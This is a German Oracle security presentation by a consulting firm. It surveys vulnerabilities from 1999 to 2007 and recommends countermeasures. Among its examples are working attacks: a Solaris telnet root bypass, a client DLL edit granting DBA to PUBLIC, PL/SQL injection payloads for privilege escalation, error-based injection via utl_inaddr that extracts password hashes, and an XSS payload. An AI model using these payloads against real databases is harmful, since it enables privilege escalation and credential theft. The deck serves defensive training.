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Einführung

       Das Thema Oracle Sicherheit wird in allen Unternehmen 
immer wichtiger.  Auch wenn Angriffe oftmals nicht entdeckt 
werden, finden Sie doch statt. Dabei kommen laut einer FBI 
Studie (2003 CSI/FBI survey) ca. 80% der Angriffe vom 
Insidern.

Um auch gegen interne Angriffe gewappnet zu sein, sollte 
deshalb die gesamte Umgebung (OS, AppServer, 
Anwendungen, DBA und Anwender Clients) abgesichert 
werden, da eine Schwachstelle die gesamte Umgebung in 
Gefahr bringen.

 Ein gutes Beispiel für eine mögliche Schwachstelle im 
Betriebssystem, die die Oracle Datenbank gefährdet, ist der 
Anfang Februar 2007 gemeldete Solaris Telnet-Fehler. Damit 
kann ein Angreifer ohne gültige Login-daten Root oder Oracle 
werden.

echo "ORACLE ORACLE"

echo ""

telnet -l"-f$2" $1
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Begriffe / Definitionen

• CPU – Oracle Critical Patch Update - Korrekturen für Oracle 
Sicherheitslücken

• Vulnerability – Sicherheitslücke / Sicherheitsfehler / Bug

• Exploit, (englisch to exploit – ausnutzen) ein 
Computerprogram / Script / SQL Statement, das spezifische 
Schwächen oder Fehlfunktionen ausnutzt. Werden inzwischen 
für mehr oder weniger teueres Geld verkauft.  

• 0day, (zeroday) - Sicherheitslücke, für die es noch keinen 
Patch gibt. 

• SQL Injection – Ausnutzen einer Sicherheitslücke in SQL 
Datenbanken (Oracle, MSSQL, MySQL, DB2, ...). Durch 
mangelnde Eingabevalidierung, werden zusätzlich SQL Befehle 
an die Datenbank geschickt und ausgeführt. Dieser Fehler 
kann in allen Ebenen (DB Core, PL/SQL, Webapp) auftreten 
und zur Privilegieneskalation bzw. Information Disclosure 
verwendet werden. 
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Begriffe / Definitionen

• Buffer Overflow / Pufferüberlauf – große Datenmengen werden 
in einen zu kleinen Speicherbereich geschrieben und über-
schreiben dadurch Programmcode mit eigenem Code (z.B. um 
eine Shell aufzurufen)

• Verschlüsselung – Bei der Verschlüsselung wird ein Text (z.B. 
Passwort) mit einem Passwort verschlüsselt und kann mit Hilfe 
dieses Passwortes auch wieder entschlüsselt werden.

Merksatz: Alles was verschlüsselt wird, kann immer 
entschlüsselt werden.

• Hashen – Einwegverfahren, um aus einem Text (z.B. Passwort) 
eine eindeutige und zufällige Zahlenfolge zu generieren.
hash(“SCOTTTIGER)= E4C82342342349894D

Gehashte Werte kann man nicht aus dem Wert 
wiederherstellen
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Die frühen Jahre 1999-2004

• 29. April 1999 – erstes veröffentlichtes Sicherheitsproblem 
(setuid root von oratclsh)

• Dezember 2001 – unbreakable Oracle

• Black Hat 2002: Präsentation „Oracle Vulnerabilities“ zeigt 
verschiedene Wege, den Oracle Application Server IAS 
1.0.2. zu hacken. 
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Die Jahre 2005-2006

• Anfang 2005 verkaufte ein russischer Hacker ein Tool zum 
Unwrappen von gewrapptem PL/SQL Code für Oracle 8-10g 

• Infolge dessen stieg die Anzahl der gefundenen/gemeldeten 
PL/SQL Sicherheitslücken rapide an, da nun im PL/SQL 
Source nach Lücken gesucht wurde 

• Oracle reagierte Ende 2005 mit dem Package dbms_assert, 
das die meisten SQL und PL/SQL Injection Fehler (fast 
2.000) in Oracle PL/SQL Packages korrigiert.

• Das Package dbms_assert ist standardmäßig in 10g Rel. 2 
vorhanden und in älteren Datenbanken (8i-10g Rel. 1) mit 
dem Oct 2005 CPU (oder später) installiert

• Ein nicht vorhandenes Package dbms_assert zeigt eine 
unsere Datenbank und kann als Schnelltest (desc 
dbms_assert) dienen, ob ein Security Patchset installiert ist 
oder nicht
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Beispiele Sicherheitslücken 2006

• Die folgenden Seiten, zeigen zwei von Oracle in 2006 
korrigierte Sicherheitslücken.

• DBA  werden durch Patchen einer DLL

• Daten ohne Rechte über Views / Inline-Views ändern

Demo
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Beispiele Sicherheitslücken 2006

•  Nach einem erfolgreichen Login gegen eine Oracle 
Datenbank, setzt Oracle den NLS-Parameter mittels eines 
“ALTER SESSION SET NLS…” Befehls. Dieser Befehl wird im 
Kontext des SYS Benutzers ausgeführt.

•  Dieser “ALTER SESSION” Befehl wird vom nicht 
vertrauenswürdigen Datenbank-Client and die Datenbank 
gesendet.

alter session set …

Demo
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Beispiele Sicherheitslücken 2006

Demo
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Beispiele Sicherheitslücken 2006

Öffnen Sie die Datei oraclient9.dll oder oraclient10.dll  und 
suchen Sie nach dem ALTER SESSION Befehl.
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Beispiele Sicherheitslücken 2006

Ersetzen Sie den “ALTER SESSION” Befehl mit "GRANT DBA TO 
PUBLIC--“ und speichern Sie die DLL ab.
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Beispiele Sicherheitslücken 2006

Oracle Client

grant DBA to public--

“Demokratie  (oder Anarchie) in der Datenbank”
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Beispiele Sicherheitslücken 2006

An der Datenbank anmelden und durch den Login die 
Privilegien eskalieren.

C:\> sqlplus scott/tiger@database

 SQL> exit

 -- Nach dem erneuten Login haben alle Benutzer DBA 
Privilegien.

 C:\> sqlplus scott/tiger@database

 SQL> desc dba_users;
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Beispiele 2006 / Manipulationen via Views

CREATE VIEW emp_emp AS

<spezieller Selfjoin>;

delete from emp_emp;

 Dieses Problem wurde mit dem Oracle CPU Juli 2006 
korrigiert.

Demo
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Beispiele 2006 / Manipulationen via Views

Demo
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Beispiele 2006 / Manipulationen via Views

delete from
  (inline-view
  )

 Lediglich das Privileg „Create Session“ notwendig

 Dieses Problem wurde mit dem Oracle CPU Oktober 2006 
korrigiert.

Demo
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Beispiele 2006 / Manipulationen via Views

update
 (inline-view
 )
set LOV_QUERY = 'select utl_http.request(''http://
127.0.0.1/USER=''||user) from dual'
where lower(LOV_QUERY) like '%select%'

 Lediglich das Privileg „Create Session“ notwendig

 Dieses Problem wurde mit dem Oracle CPU Oktober 2006 
korrigiert.
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Beispiele 2006 / Manipulationen via Views

Demo
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Trends 2007 / 2008

• Verbesserte, automatisierte Tools zum Testen und Angreifen 
von Oracle Datenbanken. Weniger Oracle Wissen als 
Angreifer notwendig.

• PL/SQL Sicherheitslücken werden vermehrt in 3rd party und 
selbstentwickelter Software gesucht

• Sicherheitslücken werden 2007/2008 vor allem in Oracle im 
Bereich

• Lokal ausnutzbar (z.B. Privilegieneskalation Oracle auf 
Windows)

• Protokollfehler (z.B. Net8, alle Oracle Clients sind 
gefährdet)

• Oracle & Java

• Komplexe SQL Befehle (z.B. SQL Befehl mit 30 Tabellen 
und speziellen Optionen bringt Oracle zum Absturz)
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Argeniss Ltd.

• Argeniss ist eine argentinische Sicherheitsfirma, die sich auf 
den Verkauf von Oracle Sicherheitslücken spezialisiert hat.

• Cesar Cerrudo, Geschäftsführer, ist ein Anhänger von Full 
Disclosure, der bedingsungslosen Veröffentlichung von 
Sicherheitslücken auch wenn keine Patches verfügbar sind

• Im Dezember 2006 wollte er mit 
der „Week of Oracle Database Bugs“ 
1 Woche lang nicht korrigierte
Sicherheitslücken veröffentlichen, 
was jedoch auf Druck seines Haupt-
kunden abgesagt wurde.

• Auf der Sicherheitskonferenz „Black 
Hat Federal“ am 1. März 2007 hat er 
Informationen über 10 ungefixte 
Oracle Sicherheitslücken (sogenannte 
0day) veröffentlicht, die jedoch nur 
lokal auf dem Windowsserver aus-
nutzbar sind. 
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Argeniss Ltd. 

• Argeniss verkauft (unkorrigierte) Sicherheitslücken im 
Security Abo. Spezielle Oracle-Kenntnisse sind dazu 
nicht notwendig.

• Seit Anfang 2007 stehen auch Oracle (und Microsoft) 
Rootkits  (z.B. Hintertüren und unsichtbare Benutzer) 
zum Verkauf
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Oracle Hacker Handbook

• David Litchfield’s 
neuestes Buch zu 
Thema “Oracle Hacking”

• Das Thema “Hacking” 
steht im Vordergrund. 
“Defending” kommt 
etwas zu kurz.

• Beschriebene Lücken 
betreffen entweder alte 
Versionen (z.B. 
Passwortdiebstahl in 
8.1.7), sind bereits mit 
CPUs korrigiert oder 
setzen auf zu vielen 
Rechten auf (CREATE 
ANY TRIGGER)
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Gegenmaßnahmen

• Einspielen des aktuellen Oracle CPU auf Ihren Oracle 
Datenbanken (mind. Oktober 2006)

• Installieren Sie nur notwendige Oracle Komponenten (Java, 
XMLDB (XMLDB), Oracle Spatial (MDSYS), ORDSYS, ...)

• Geben Sie keine Rechte „CREATE ANY TRIGGER“, „“CREATE 
ANY VIEW“, „CREATE PROCEDURE“ an normale Benutzer
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Fortgeschrittenere Angriffstools

• 2007 / 2008 wird das Jahr der Automatisierung, da nur 
damit die oft großen Menge an (Datenbank)-Systemen 
getestet werden kann

• Die Werkzeuge zum Testen der Oracle-Sicherheit werden 
fortschrittlicher und auch von „Oracle-Laien“ (ohne große 
Oracle Erfahrung) einfacher einzusetzen sein.

• Jedes Werkzeug kann natürlich auch mißbraucht werden.

• Die deutsche Regierung versucht dem mit Gesetzen (§202c 
StGB) entgegenzuwirken, was jedoch die Arbeit der DBAs, 
Administratoren und Security-Abteilungen behindert.
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Fortgeschrittenere Angriffstools

C:\> breakable 192.168.0.17 /pls/orasso 7777
Checking NULL.........................[PASSED][200]
Checking NOPROC.......................[PASSED][404]
Checking DIRECT HTP ACCESS............[FAILED][403]
Checking DIRECT OWA_UTIL ACCESS.......[FAILED][403]
Checking DIRECT DRILOAD ACCESS........[FAILED][404]
Checking NEWLINE EXCLUSION BYPASS.....[FAILED][403]
Checking LABEL EXCLUSION BYPASS.......[FAILED][403]
Checking BACKSLASH EXCLUSION BYPASS...[FAILED][404]
Checking QUOTE EXCLUSION BYPASS.......[FAILED][404]
Checking PARAM 1 EXCLUSION BYPASS.....[FAILED][404]
Checking PARAM 2 EXCLUSION BYPASS.....[FAILED][404]
Checking PARAM 3 EXCLUSION BYPASS.....[PASSED][200]
Checking PARAM 4 EXCLUSION BYPASS.....[PASSED][200]
LEVEL: 8
Creating the procedure...[FAILED]
Server responded with 404; expected 200.
Creating the procedure...[PASSED][200]
Granting execute to public...[PASSED][200]
Creating public synonym...[PASSED][200]
Checking...[PASSED][200]
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Fortgeschrittenere Angriffstools
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Angriffstools / Gegenmaßnahme

1. Härten Sie Ihre Datenbank
* TNS Listener sichern, Passwörter schützen, Public Rechte 
entziehen (utl_tcp, ...), Least privilege

2. Überprüfen Sie die Sicherheit Ihrer Anwendungen 
(Web, Client/Server)

3. Spielen Sie die Oracle Sicherheitspatches (CPU) ein

4. Verfolgen Sie die Security-Szene 

28



1 2 3 4 5

6 7 8 9 10

we are 
here:

- 4 -02/26/07

SQL Injection / Privilege Escalation

CREATE FUNCTION hackme return number
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC';
RETURN 1;
COMMIT;
END;/

Bisher waren für SQL Injection auf PL/SQL-Ebene in den 
meisten Fällen Privilegien zum Erzeugen einer Funktion 
notwendig. Dadurch war die Auswirkung bei Benutzern mit 
wenig Rechten eingeschränkt.

   exec sys.kupw$WORKER.main('x','YY'' and 
1=scott.hackme --r2');
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SQL Injection / Privilege Escalation

Auf der Blackhat Federal 2007 wurde eine neue Methode 
zu SQL Injection in PL/SQL-Packages vorgestellt, die alleine 
mit “Create Session” Privilegien funktioniert.

Dabei wird mit dbms_sql ein Cursor erzeugt, der dann 
anschliessed in die verletzbare Funktion “injected” wird.

Da für diesen Angriff lediglich Execute Rechte an dbms_sql 
benötigt werden, funkioniert dies mit jedem Benutzer mit 
“Create Session”-Rechten.

Aufgrund dieser Lücken ist auch Oracle 10.2.0.3 weiterhin 
verletzlich.
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SQL Injection / Privilege Escalation

DECLARE 
MY_CURSOR NUMBER; 
RESULT NUMBER; 
BEGIN 
MY_CURSOR := DBMS_SQL.OPEN_CURSOR; 
DBMS_SQL.PARSE(MY_CURSOR,'declare pragma 
autonomous_transaction; 

begin execute immediate ''grant dba to public''; commit; 
end;',0); 

DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); 
END; 
/ 

 
EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); 
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SQL Injection / Information Retrieval

SQL> select utl_inaddr.get_host_name('anti-hacker') from 
dual;

SQL Injection erlaubt es weiterhin z.B. über 
Fehlermeldungen, Informationen aus der Datenbank zu 
erhalten:

select utl_inaddr.get_host_name('anti-hacker') from dual
       *
ERROR at line 1:
ORA-29257: host anti-hacker unknown
ORA-06512: at "SYS.UTL_INADDR", line 4
ORA-06512: at "SYS.UTL_INADDR", line 35

ORA-06512: at line 1
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SQL Injection / Information Retrieval

select utl_inaddr.get_host_name((select username||'='||
password from dba_users where rownum=1)) from dual
       *
ERROR at line 1:
ORA-29257: host SYSTEM=D4DF7931AB130E37 unknown

ORA-06512: at "SYS.UTL_INADDR", line 4
ORA-06512: at "SYS.UTL_INADDR", line 35
ORA-06512: at line 1

Der Inhalt der Fehlermeldung kann kontrolliert 
werden

SQL> select utl_inaddr.get_host_name((select 
username||'='||password 
from dba_users where rownum=1)) from dual;
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SQL Injection / Information Retrieval

http://myserver.com/prelex/detail_dossier_real.cfm?
CL=en&DosId=124131||utl_inaddr.get_host_name((select
%20global_name%20from%20global_name))

Message: Error Executing Database Query. 

Native error code: 29257 

SQL state: HY000 

Detail: [Macromedia][Oracle JDBC Driver][Oracle]
ORA-29257: host EXTUCOMA.myserver.com unknown 
ORA-06512: at "SYS.UTL_INADDR", line 35 
ORA-06512: at "SYS.UTL_INADDR", line 35 
ORA-06512: at line 1 
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SQL Injection / Information Retrieval

http://myserver.com/prelex/detail_dossier_real.cfm?
CL=en&DosId=124131||utl_inaddr.get_host_name((select
%20count(*)%20from%20all_users))

Message: Error Executing Database Query. 

Native error code: 29257 

SQL state: HY000 

Detail: [Macromedia][Oracle JDBC Driver][Oracle]
ORA-29257: host 37 unknown 
ORA-06512: at "SYS.UTL_INADDR", line 35 
ORA-06512: at "SYS.UTL_INADDR", line 35 
ORA-06512: at line 1 
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SQL Injection / Information Retrieval
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Sicherheitstools (Matrixay)
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Sicherheitstools (Matrixay)
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Sicherheitstools (Matrixay)
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Sicherheitstools (Matrixay)
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Sicherheitslücken in 3rd party/custom SW

• Nachdem Oracle die meisten Fehler (knapp 2000) in den PL/
SQL Packages mit dbms_assert korrigiert wurden, wird sich 
die Suche auf verbreitete 3rd party Software und 
selbstentwickelte Software konzentrieren.

• Kandidaten sind hierbei weit- und weniger weit verbreitete 
Tools (z.B. Systemmanagement) oder Programme, die z.B. 
in bestimmten Branchen (z.B. Wertpapiermanagement) 
eingesetzt werden.

• Webanwendungen sind oft anfällig für SQL Injection und  
Cross-Site-Scripting
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Sicherheitslücken in 3rd party/custom SW

Create table "<script>alert('HI')</script>" as 
select * from dual; 

Webanwendungen sind oftmals anfällig für Cross-Site-
Scripting und SQL Injection. Hier ein Beispiel der 
Administrations-Software DBAConnect 1.5

Beim Anzeigen der Tabelle im Browser erscheint folgendes 
Popup
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Sicherheitslücke in 3rd software

PROCEDURE log_detl_tbl 
(plsql_tbl_name_IN IN VARCHAR2 ,log_tbl_name_IN IN VARCHAR2 
,collect_seq_IN IN INTEGER ,column_list_IN IN VARCHAR2)  IS 
cursor_id INTEGER;  exec_stat INTEGER; plsql_block VARCHAR2(5000); 
collect_seq INTEGER := collect_seq_IN; 
BEGIN 
plsql_block := 'BEGIN IF '||plsql_tbl_name_IN||'.COUNT>0 THEN '; 
plsql_block := plsql_block||'FOR i IN '||plsql_tbl_name_IN|| 
'.FIRST..'||plsql_tbl_name_IN||'.LAST LOOP '; 
plsql_block := plsql_block||' IF '||plsql_tbl_name_IN||'.EXISTS(i) '|| 
'THEN INSERT INTO '||log_tbl_name_IN||' (collect_seq '; 
plsql_block := plsql_block||column_list_IN||') VALUES (:collect_seq'; 
plsql_block := plsql_block||REPLACE(column_list_IN,',',','||
plsql_tbl_name_IN||'(i).'); 
plsql_block := plsql_block||'); '||plsql_tbl_name_IN||'.DELETE(i); END 
IF; '; 
plsql_block := plsql_block||' END LOOP; COMMIT WORK; END IF; END;'; 
cursor_id := dbms_sql.open_cursor; 
dbms_sql.parse(cursor_id,plsql_block,dbms_sql.v7); 
dbms_sql.bind_variable(cursor_id,'collect_seq',collect_seq); 
exec_stat := dbms_sql.execute(cursor_id); 
IF dbms_sql.is_open(cursor_id) 
THEN 
dbms_sql.close_cursor(cursor_id); 
END IF; 
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Entdecken von PL/SQL Sicherheitslücken

• Führen Sie eine Sourcecode-Analyse Ihrer PL/SQL-
Anwendungen durch und versuchen Sie typische Fehler zu 
identifizieren.

• Entwickler machen den selben Fehler meistens mehrmals 
und in verschiedenen Anwendungen.

• Erstellen Sie eine PL/SQL Secure Coding Policy für neue 
Projekte um Fehler von Anfang an auszuschliessen.

• Schulen Sie Ihre Entwickler im Bereich Secure Development. 
Fehler zu vermeiden ist meistens die kostengünstigste und 
einfachste Möglichkeit.
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Oracle Security Glaskugel

Oder was erwartet uns in 2007/2008

Database VaultSQL InjectionNet8LockingBuffer OverflowLogon Trigger
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Fragen zu Oracle Security 2007 / 2008

      Wie kann ich mich gegen zukünftige Gefahren wappnen für 
die es noch keine Patches / Workarounds gibt?

Wo kann ich proaktiv handeln anstatt?

Wie kann ich die Zeiten für Oracle Critical Patch Updates 
reduzieren?
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Die größten Oracle Sicherheitsprobleme

1. Schwache und einfache Passworte

2. Ungeschützte 8i/9i TNS Listener

3. Oracle CPU Patches nicht eingespielt

4. Zu viele Rechte

5. Organisation
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Oracle Passworte

• Schwachstelle Nr. 1 in den meisten Firmen und 
Organisationen sind einfache, schwache und/oder identische 
Oracle Passwörter bzw. einfache Passwortschemata

• Während system/manager und sys/change_on_install 
inzwischen eher Exotenstatus geniessen, ist dbsnmp/
dbsnmp immer noch weit verbreitet.

• Der Oracle Passwort Algorithmus (basierend auf DES) steht 
immer wieder in der Kritik, da er alle Zeichen des 
Passwortes in Großbuchstaben umwandelt. Der Algorithmus 
konkateniert Benutzer und Passwort und verwendet dann 
DES zum hashen (z.B. DES(SCOTTTIGER))

• Mit Oracle 11g wird Oracle optional AES anbieten, der dann 
auch Passworte mit Groß- und Kleinbuchstaben unterstützt 
(sofern dies kompatibel mit der Anwendung ist).
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Oracle Passworte überprüfen mit checkpwd
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Passwort Quiz - sicher oder unsicher?

• MANAGER      (Standardpasswort)

   (nur Zahlen, zu kurz)• 34538

   (Tastaturfolge)• QWERTZUI

   (kurzes Wort mit Jahreszahl)• ALEX2007

   (Sonderzeichen, Zahlen)• ORACLE!SECURITY2007

   (reverse = unsicher)• ELCARO

   (komplex, lang)• PFRODO2007!ORCL

(komplex aber schwer zu merken)• C7!R45UI234?_WER4
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Passwörter in realen Umgebungen

Prod
AppSrv
(prod)

Staging

Test

AppSrv
(test)

Client

Client

Client

Clone DB 
via RMAN

P
P

P P

P

P - Passwörter: Verschlüsselt oder Gehasht

Passwortänderungen bedeuten immer eine Downtime
und die Gefahr von Problemen, falls nicht alle Pass-
wörter geändert werden
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Passwörter in realen Umgebungen

Frage: Wie viele
Datenbanken sind
hier zu sehen?

nur 74 ! (+33 AppServer)

Wie testet und ändert man so viele Passwörter? 
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Passwortschemata / Probleme

• Wie wählt man gute und starke Passwörter für so viele 
Systeme? Große Firmen, Organisationen und Behörden 
besitzen oftmals 100+ Oracle Datenbanken.

• In den meisten Fällen wird entweder das identische 
Passwort und/oder ein Passwort-Schema für alle 
Datenbanken verwendet.
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Typische Passwortschemata

Starkes Passwort für alle Datenbanken

  FAN!SECURITY!2007 für alle Oracle Datenbanken

Passwort enthält die SID / Servicenamen

  PFRODO2007!ORCL          für den Benutzer SYS

  TGANDALF2007!ORCL für den Benutzer SYSTEM

P = Produktion, T= Test, E=Education
FRODO2007! = fester String,  ORCL = <SID>

Passwort enthält den Hostnamen

  PFRODO2007!AIX0789          für den Benutzer SYS

  
P = Produktion, T= Test, E=Education
FRODO2007! = fester String, AIX0789 = <Hostname>
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Warum ist das so gefährlich?

Und was ein Angreifer daraus machen kann...

• Hacken eines (wenig geschützten) Systems, das z.B. wegen 
3rd party Software (SAP, nicht supported SW, ...) nicht 
gepatched werden darf/kann.

• Auslesen der Passwort-Hashes und Versuchen, diese zu 
knacken (Dictionary Angriffe, Rainbow Tables, ...).

• Auslesen und Entschlüsseln des Passwortes von DBSNMP 
(oftmals identisch mit SYS/SYSTEM) aus den Gridcontrol 
Tabellen.

• „Erraten“ des Passwortes für andere Systeme bei Verwendung 
von Passwort-Schemata.

• Das verwendete Passwort kann dazu verwendet werden sich 
auf allen Oracle Datenbanken, unabhängig von Version, 
Patchstand und Oracle Security Komponenten (ASO, 
VPD, DV, TDE, ...) einzuloggen.
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Passwörter / Absicherung

• Wählen Sie unterschiedliche Passwörter für unterschiedliche 
Datenbanken.

• Alternativ sollten Datenbanken mit unterschiedlichen 
Security-Leveln unterschiedliche Passwörter verwenden.

• Versuchen Sie immer herauszufinden, wo und vor allem wie 
Passwörter (verschlüsselt, gehasht, unverschlüsselt) 
abgespeichert werden. Je nach Architektur (z.B. Grid 
Control) ist es notwendig, die Passwörter verschlüsselt bzw. 
Klartext abzuspeichern. Dies ist aus Architektur-gründen 
nicht zu ändern, bedeutet aber u.U. beim Einbruch in eine 
Gridcontrol/Databasecontol-Instanz eine mögliche 
Kompromitierung ALL Ihrer Systeme. 

• Schützen Sie die Grid Control Datenbank („Schlüssel zum 
Königreich“), da dort die verschlüsselten und nicht 
gehashten Passwörter hinterlegt sind.
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Zusammenfassung

•  Fangen Sie Schritt für Schritt mit Oracle Security an.

• Sichern Sie 8i/9i Listener mit einem starken Passwort

• Ein Listener Passwort in 10g ist unsicherer als kein 
Passwort

• Verwenden Sie starke Passwörter und überprüfen Sie alle 
Datenbanken regelmäßig auf schwache Passwörter

• Spielen Sie die Oracle Security Patches (CPU) ein 

• Schulen Sie Ihre DBAs und Entwickler im Bereich Security
(Security fängt in den Köpfen an und ist ein Prozess, kein 
einmaliges Ereignis)

• Überprüfen Sie Ihren eigenen Code auf Sicherheitslücken 
bzw. fragen Sie bei 3rd party Herstellern nach.

• Überdenken Sie die Architektur ihrer Systeme und überlegen 
Sie, wie man diese sicherer machen kann (z.B. mit einer 
Änderung der Architektur oder mit Oracle Komponenten wie 
ASO /Database Vault / ...).
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Angebote Red-Database-Security GmbH

• Verschiedene  Oracle Security Trainings  (Inhouse / extern)

• Anti-Hacker-Training (“Lernen der Hacker-Denke”)

• Secure Development Training

• Awareness Trainings

• Consulting

• Datenbank-Überprüfung

• Überprüfung Oracle Application Server

• Database Vault, TDE, ...

• Architektur-Review

• Software

• Repscan (Oracle Datenbank-Scanner)

• Matrixay (Security-Scanner für Webanwendungen)
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Umsetzung von Oracle Security Projekten

• Ziele von IT Security
• Integrität (z.B. Daten Integrität)
• Verfügbarkeit (z.B. database systems)
• Vertraulichkeit (z.B. Firma)

• Organisation von Security Policies
• Baseline
• Compliance
• High Security Policies

• Maßnahmen
• Organisatorische Maßnahmen (z.B. 

Mitarbeitertrainings)
• Physikalische Maßnahmen (z.B. Zugriffscontrolle)
• Logische Maßnahmen (z.B. Passwort Verifikation)
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F & A 

 F & A
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Alexander Kornbrust                Matthias Glock                 Franz Hüll

Ansprechpartner

Red-Database-Security GmbH
Bliesstrasse 16
D-66538 Neunkirchen
T:+49 (6821) 95 17 637
F:+49 (6821) 91 27 354

E-Mail: consulting@red-database-security.com
Web: www.red-database-security.com
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